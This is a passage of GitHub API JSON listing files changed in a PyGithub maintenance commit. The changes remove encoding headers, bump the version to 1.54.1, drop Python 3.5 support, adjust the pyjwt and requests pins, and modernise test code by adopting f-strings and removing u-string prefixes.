#"},{"sha":"5dc0a4603cacb0b4f7b8ce18e02caea3ed95a62a","filename":"github/RequiredStatusChecks.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredStatusChecks.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredStatusChecks.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRequiredStatusChecks.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"1d3a434dd27943d5b7ef664778e682ae9bc8c8b3","filename":"github/SelfHostedActionsRunner.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSelfHostedActionsRunner.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSelfHostedActionsRunner.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FSelfHostedActionsRunner.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\r\n-\r\n ############################ Copyrights and license ############################\r\n # #\r\n # Copyright 2020 Victor Zeng #\r"},{"sha":"88c32af21e43b486f6d09d8687f58601fda03314","filename":"github/SourceImport.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSourceImport.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSourceImport.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FSourceImport.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Hayden Fuss #"},{"sha":"fa50b803f4525cc97c40f67f69608eca9e2d2837","filename":"github/Stargazer.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStargazer.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStargazer.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStargazer.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2015 Dan Vanderkam #"},{"sha":"eb950b3cd3d427b0517bc9ff2763f0320966a3c5","filename":"github/StatsCodeFrequency.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCodeFrequency.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCodeFrequency.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsCodeFrequency.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"712232a5cba436a950390f1a332f135bd391dfaf","filename":"github/StatsCommitActivity.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCommitActivity.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCommitActivity.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsCommitActivity.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"e8d16028eb3e9a8a4d76a612f5c4956ecee5ad63","filename":"github/StatsContributor.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsContributor.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsContributor.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsContributor.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"fc41c0f510a95a7fb81c0df16f80186f7e7a4b84","filename":"github/StatsParticipation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsParticipation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsParticipation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsParticipation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"5aa30163735d1d5ad03233c0f5961e011466f07d","filename":"github/StatsPunchCard.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsPunchCard.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsPunchCard.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsPunchCard.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"591bab2b7420542942c670c038fbbf79cbb955c5","filename":"github/Tag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"d2bac9d0c1ec2da86ce9c1414627a3427226db32","filename":"github/Team.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeam.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeam.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTeam.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"62f8c4f4a46f5ebee5b43d5d6f7b73265786a22d","filename":"github/TeamDiscussion.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeamDiscussion.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeamDiscussion.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTeamDiscussion.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Adam Baratz #"},{"sha":"2607da9835b5ed04ffcb1f71f36e26e8ce03fba4","filename":"github/TimelineEvent.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTimelineEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Nick Campbell #"},{"sha":"cecaa09d7fd984ebd3596530c8229ba47e7b1703","filename":"github/TimelineEventSource.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEventSource.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEventSource.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTimelineEventSource.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Nick Campbell #"},{"sha":"d58837ab741237dc112d8a6bd6c9bf85f3f236ee","filename":"github/Topic.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTopic.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTopic.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTopic.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"3ac1dde575737fce45a0e2fc8ff2da87d720b20f","filename":"github/UserKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FUserKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FUserKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FUserKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"5f643bcc3dd97e718505e270387a950ce216009e","filename":"github/View.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FView.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FView.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FView.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"d5b7d448ff016bec167d740385f59bcedcba5bce","filename":"github/Workflow.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflow.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflow.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FWorkflow.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"3631f6e2dab7a6b8cbf761209817719b16ba86fa","filename":"github/WorkflowRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflowRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflowRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FWorkflowRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"c978fbe999cb9b0073ffebe701d1821e3b608bc1","filename":"github/__init__.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2F__init__.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2F__init__.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2F__init__.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"cac1930fe56305c0913b6f17e1841a0be1d39174","filename":"requirements.txt","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/requirements.txt","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/requirements.txt","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/requirements.txt?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,5 @@\n-requests>=2.14.0,<2.25\n-pyjwt\n+requests>=2.14.0\n+pyjwt<2.0\n sphinx<3\n sphinx-rtd-theme<0.6\n Deprecated"},{"sha":"d8b29be2e07d3e44646e442ea1d60ff161658d0c","filename":"scripts/add_attribute.py","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Fadd_attribute.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Fadd_attribute.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/scripts%2Fadd_attribute.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,4 @@\n #!/usr/bin/env python\n-# -*- coding: utf-8 -*-\n \n ############################ Copyrights and license ############################\n # #"},{"sha":"f7c0fccd1fac061578872af6523b61b7d89d0de0","filename":"scripts/fix_headers.py","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Ffix_headers.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Ffix_headers.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/scripts%2Ffix_headers.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,4 @@\n #!/usr/bin/env python\n-# -*- coding: utf-8 -*-\n \n ############################ Copyrights and license ############################\n # #"},{"sha":"e67d154b15af7bbf362310adc39814e39ff06bc1","filename":"setup.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/setup.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/setup.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/setup.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,4 @@\n #!/usr/bin/env python\n-# -*- coding: utf-8 -*-\n \n ############################ Copyrights and license ############################\n # #\n@@ -45,7 +44,7 @@\n \n import setuptools\n \n-version = \"1.54\"\n+version = \"1.54.1\"\n \n \n if __name__ == \"__main__\":\n@@ -92,15 +91,14 @@\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n- \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Topic :: Software Development\",\n ],\n- python_requires=\">=3.5\",\n- install_requires=[\"deprecated\", \"pyjwt\", \"requests>=2.14.0,<2.25\"],\n+ python_requires=\">=3.6\",\n+ install_requires=[\"deprecated\", \"pyjwt<2.0\", \"requests>=2.14.0\"],\n extras_require={\"integrations\": [\"cryptography\"]},\n- tests_require=[\"cryptography\", \"httpretty>=0.9.6\"],\n+ tests_require=[\"cryptography\", \"httpretty>=1.0.3\"],\n )"},{"sha":"f87e113a4fa19cb48bc60bc6b56416e5fb72a52e","filename":"test-requirements.txt","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/test-requirements.txt","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/test-requirements.txt","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/test-requirements.txt?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,4 +1,4 @@\n cryptography\n-httpretty>=0.9.6\n+httpretty>=1.0.3\n pytest>=5.3\n pytest-cov>=2.8"},{"sha":"ce374d54ae35693ae76215a7bb98e9274ea18f6f","filename":"tests/ApplicationOAuth.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FApplicationOAuth.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FApplicationOAuth.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FApplicationOAuth.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Rigas Papathanasopoulos #\n@@ -37,14 +35,14 @@ def testLoginURL(self):\n sample_uri = \"https://myapp.com/some/path\"\n sample_uri_encoded = \"https%3A%2F%2Fmyapp.com%2Fsome%2Fpath\"\n self.assertEqual(\n- self.app.get_login_url(), \"{}?client_id={}\".format(BASE_URL, self.CLIENT_ID)\n+ self.app.get_login_url(), f\"{BASE_URL}?client_id={self.CLIENT_ID}\"\n )\n self.assertTrue(\n- \"redirect_uri={}\".format(sample_uri_encoded)\n+ f\"redirect_uri={sample_uri_encoded}\"\n in self.app.get_login_url(redirect_uri=sample_uri)\n )\n self.assertTrue(\n- \"client_id={}\".format(self.CLIENT_ID)\n+ f\"client_id={self.CLIENT_ID}\"\n in self.app.get_login_url(redirect_uri=sample_uri)\n )\n self.assertTrue(\n@@ -54,7 +52,7 @@ def testLoginURL(self):\n \"login=user\" in self.app.get_login_url(state=\"123abc\", login=\"user\")\n )\n self.assertTrue(\n- \"client_id={}\".format(self.CLIENT_ID)\n+ f\"client_id={self.CLIENT_ID}\"\n in self.app.get_login_url(state=\"123abc\", login=\"user\")\n )\n "},{"sha":"79e1052807622521ef84537a8eeebc61bb0af30f","filename":"tests/AuthenticatedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthenticatedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthenticatedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FAuthenticatedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"dec6b9f39054471ac51d8ff52887efc294cad575","filename":"tests/Authentication.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthentication.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthentication.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FAuthentication.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"2e05cb7d36c8d2b17f22012b90684c9f2d4e4cff","filename":"tests/Authorization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthorization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthorization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FAuthorization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"4aba0284765ccf698f217ff24b67a05f34fc3f30","filename":"tests/BadAttributes.py","status":"modified","additions":143,"deletions":145,"changes":288,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBadAttributes.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBadAttributes.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FBadAttributes.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #\n@@ -117,149 +115,149 @@ def testIssue195(self):\n hooks,\n lambda h: h.name,\n [\n- u\"activecollab\",\n- u\"acunote\",\n- u\"agilebench\",\n- u\"agilezen\",\n- u\"amazonsns\",\n- u\"apiary\",\n- u\"apoio\",\n- u\"appharbor\",\n- u\"apropos\",\n- u\"asana\",\n- u\"backlog\",\n- u\"bamboo\",\n- u\"basecamp\",\n- u\"bcx\",\n- u\"blimp\",\n- u\"boxcar\",\n- u\"buddycloud\",\n- u\"bugherd\",\n- u\"bugly\",\n- u\"bugzilla\",\n- u\"campfire\",\n- u\"cia\",\n- u\"circleci\",\n- u\"codeclimate\",\n- u\"codeportingcsharp2java\",\n- u\"codeship\",\n- u\"coffeedocinfo\",\n- u\"conductor\",\n- u\"coop\",\n- u\"copperegg\",\n- u\"cube\",\n- u\"depending\",\n- u\"deployhq\",\n- u\"devaria\",\n- u\"docker\",\n- u\"ducksboard\",\n- u\"email\",\n- u\"firebase\",\n- u\"fisheye\",\n- u\"flowdock\",\n- u\"fogbugz\",\n- u\"freckle\",\n- u\"friendfeed\",\n- u\"gemini\",\n- u\"gemnasium\",\n- u\"geocommit\",\n- u\"getlocalization\",\n- u\"gitlive\",\n- u\"grmble\",\n- u\"grouptalent\",\n- u\"grove\",\n- u\"habitualist\",\n- u\"hakiri\",\n- u\"hall\",\n- u\"harvest\",\n- u\"hipchat\",\n- u\"hostedgraphite\",\n- u\"hubcap\",\n- u\"hubci\",\n- u\"humbug\",\n- u\"icescrum\",\n- u\"irc\",\n- u\"irker\",\n- u\"ironmq\",\n- u\"ironworker\",\n- u\"jabber\",\n- u\"jaconda\",\n- u\"jeapie\",\n- u\"jenkins\",\n- u\"jenkinsgit\",\n- u\"jira\",\n- u\"jqueryplugins\",\n- u\"kanbanery\",\n- u\"kickoff\",\n- u\"leanto\",\n- u\"lechat\",\n- u\"lighthouse\",\n- u\"lingohub\",\n- u\"loggly\",\n- u\"mantisbt\",\n- u\"masterbranch\",\n- u\"mqttpub\",\n- u\"nma\",\n- u\"nodejitsu\",\n- u\"notifo\",\n- u\"ontime\",\n- u\"pachube\",\n- u\"packagist\",\n- u\"phraseapp\",\n- u\"pivotaltracker\",\n- u\"planbox\",\n- u\"planio\",\n- u\"prowl\",\n- u\"puppetlinter\",\n- u\"pushalot\",\n- u\"pushover\",\n- u\"pythonpackages\",\n- u\"railsbp\",\n- u\"railsbrakeman\",\n- u\"rally\",\n- u\"rapidpush\",\n- u\"rationaljazzhub\",\n- u\"rationalteamconcert\",\n- u\"rdocinfo\",\n- u\"readthedocs\",\n- u\"redmine\",\n- u\"rubyforge\",\n- u\"scrumdo\",\n- u\"shiningpanda\",\n- u\"sifter\",\n- u\"simperium\",\n- u\"slatebox\",\n- u\"snowyevening\",\n- u\"socialcast\",\n- u\"softlayermessaging\",\n- u\"sourcemint\",\n- u\"splendidbacon\",\n- u\"sprintly\",\n- u\"sqsqueue\",\n- u\"stackmob\",\n- u\"statusnet\",\n- u\"talker\",\n- u\"targetprocess\",\n- u\"tddium\",\n- u\"teamcity\",\n- u\"tender\",\n- u\"tenxer\",\n- u\"testpilot\",\n- u\"toggl\",\n- u\"trac\",\n- u\"trajectory\",\n- u\"travis\",\n- u\"trello\",\n- u\"twilio\",\n- u\"twitter\",\n- u\"unfuddle\",\n- u\"web\",\n- u\"weblate\",\n- u\"webtranslateit\",\n- u\"yammer\",\n- u\"youtrack\",\n- u\"zendesk\",\n- u\"zohoprojects\",\n+ \"activecollab\",\n+ \"acunote\",\n+ \"agilebench\",\n+ \"agilezen\",\n+ \"amazonsns\",\n+ \"apiary\",\n+ \"apoio\",\n+ \"appharbor\",\n+ \"apropos\",\n+ \"asana\",\n+ \"backlog\",\n+ \"bamboo\",\n+ \"basecamp\",\n+ \"bcx\",\n+ \"blimp\",\n+ \"boxcar\",\n+ \"buddycloud\",\n+ \"bugherd\",\n+ \"bugly\",\n+ \"bugzilla\",\n+ \"campfire\",\n+ \"cia\",\n+ \"circleci\",\n+ \"codeclimate\",\n+ \"codeportingcsharp2java\",\n+ \"codeship\",\n+ \"coffeedocinfo\",\n+ \"conductor\",\n+ \"coop\",\n+ \"copperegg\",\n+ \"cube\",\n+ \"depending\",\n+ \"deployhq\",\n+ \"devaria\",\n+ \"docker\",\n+ \"ducksboard\",\n+ \"email\",\n+ \"firebase\",\n+ \"fisheye\",\n+ \"flowdock\",\n+ \"fogbugz\",\n+ \"freckle\",\n+ \"friendfeed\",\n+ \"gemini\",\n+ \"gemnasium\",\n+ \"geocommit\",\n+ \"getlocalization\",\n+ \"gitlive\",\n+ \"grmble\",\n+ \"grouptalent\",\n+ \"grove\",\n+ \"habitualist\",\n+ \"hakiri\",\n+ \"hall\",\n+ \"harvest\",\n+ \"hipchat\",\n+ \"hostedgraphite\",\n+ \"hubcap\",\n+ \"hubci\",\n+ \"humbug\",\n+ \"icescrum\",\n+ \"irc\",\n+ \"irker\",\n+ \"ironmq\",\n+ \"ironworker\",\n+ \"jabber\",\n+ \"jaconda\",\n+ \"jeapie\",\n+ \"jenkins\",\n+ \"jenkinsgit\",\n+ \"jira\",\n+ \"jqueryplugins\",\n+ \"kanbanery\",\n+ \"kickoff\",\n+ \"leanto\",\n+ \"lechat\",\n+ \"lighthouse\",\n+ \"lingohub\",\n+ \"loggly\",\n+ \"mantisbt\",\n+ \"masterbranch\",\n+ \"mqttpub\",\n+ \"nma\",\n+ \"nodejitsu\",\n+ \"notifo\",\n+ \"ontime\",\n+ \"pachube\",\n+ \"packagist\",\n+ \"phraseapp\",\n+ \"pivotaltracker\",\n+ \"planbox\",\n+ \"planio\",\n+ \"prowl\",\n+ \"puppetlinter\",\n+ \"pushalot\",\n+ \"pushover\",\n+ \"pythonpackages\",\n+ \"railsbp\",\n+ \"railsbrakeman\",\n+ \"rally\",\n+ \"rapidpush\",\n+ \"rationaljazzhub\",\n+ \"rationalteamconcert\",\n+ \"rdocinfo\",\n+ \"readthedocs\",\n+ \"redmine\",\n+ \"rubyforge\",\n+ \"scrumdo\",\n+ \"shiningpanda\",\n+ \"sifter\",\n+ \"simperium\",\n+ \"slatebox\",\n+ \"snowyevening\",\n+ \"socialcast\",\n+ \"softlayermessaging\",\n+ \"sourcemint\",\n+ \"splendidbacon\",\n+ \"sprintly\",\n+ \"sqsqueue\",\n+ \"stackmob\",\n+ \"statusnet\",\n+ \"talker\",\n+ \"targetprocess\",\n+ \"tddium\",\n+ \"teamcity\",\n+ \"tender\",\n+ \"tenxer\",\n+ \"testpilot\",\n+ 